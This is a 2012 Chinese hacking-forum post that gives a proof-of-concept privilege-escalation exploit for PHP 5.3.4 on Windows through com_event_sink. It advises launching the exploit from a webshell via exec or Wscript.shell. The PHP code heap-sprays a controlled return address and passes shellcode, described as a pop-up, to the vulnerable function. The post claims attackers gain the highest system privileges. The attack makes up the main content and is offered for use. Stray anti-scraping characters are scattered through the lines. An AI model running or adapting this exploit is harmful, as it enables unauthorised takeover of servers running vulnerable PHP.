找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2087|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中1 G2 [7 R6 q* o

% I$ Z" Q! v9 F: {; W. d, x* I% [测试方法如下:cmd /c x:\php\php.exe x:\test.php9 E# c  X; \( d/ u: }

+ a% M7 {0 R. H下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
  n8 o" m+ D5 L' T" H3 |5 @这里是两个测试的截图:
3 q' \9 `! b$ f9 U) v4 p2 F' }* s; Q9 N" P: i% I3 K* w

7 W" [0 H! s) Z
4 f) R1 U2 d7 F6 _  q
4 y6 ?3 _# A6 R( w! C, q* v; a3 y) K" _. S3 h
成功利用此漏洞的攻击者将获得系统的最高权限% n6 f. ~! M% r& G- F9 |! z

1 v$ q% ]8 H+ z" Z. N, l
* R7 \* Y6 l2 _# k. y' v4 u3 r; ^( z9 b- |" |
) M  ?6 t' g+ L- q7 k  `& Y6 Z- \9 i

. P: \; C/ Q. b0 Q5 n1 [) U关于漏洞分析稍后附上。一下是PoC代码:
! U& E; o9 C. H: t& H8 t( [* o+ K+ o4 S/ w7 d% B% N$ D
<?php) v2 F( I! O* _2 p- o
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞7 M$ w( c6 A9 P* k" }9 h
//$eip ="\x44\x43\x42\x41";
: ]9 _1 \) v" ]" X4 U" {$eip= "\x4b\xe8\x57\x78";1 E" y, x* |5 E# T# {  Q2 ^
$eax ="\x80\x01\x8d\x04";2 _. M! M' U/ m, ^/ J* ?
$deodrant="";
- U! ?0 i, K2 v! ~- a$axespray = str_repeat($eip.$eax,0x80);
. L0 n0 J# ^# k//048d0190; F. u, b2 [( H2 v8 U+ m
echo strlen($axespray);1 l0 o7 p; L4 P/ C& G
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
3 X9 y3 Q9 n* e  Secho "Silic Group Hacker Army - BlackBap.Org";
( l. \! I4 Z- w3 E  m0 z! w( T7 t0 e//19200 ==4B32 4b00' x  {% \6 n' X0 J: P% P) f+ W
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
5 Y: P! B, a& y* j. y! A$terminate = "T";6 a" u7 W# J1 M" n  d. `
$u[] =$deodrant;
* G: D4 }" r0 d9 r0 U& }$r[] =$deodrant.$terminate;
/ z! g1 {5 W$ _2 N5 |& w8 m5 {; e. u" z$a[] =$deodrant.$terminate;/ B+ r; p& |; H
$s[] =$deodrant.$terminate;
# f$ ]$ s+ B1 ~//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的& i$ R; V. x: N/ g. K5 X
$vVar = new VARIANT(0x048d0000+180);: B" g: y! t4 X- ^6 O. J# {
//弹窗代码(Shellcode)* g! j1 o/ ]% |
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
2 s% X* f5 a9 i$ f5 n0 W$var2 = new VARIANT(0x41414242);
* D/ c. L( R4 j3 L! Z& Ncom_event_sink($vVar,$var2,$buffer);( D3 \. h  w% J: R" N: \
?>
) l; _& {9 ?4 B5 X

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表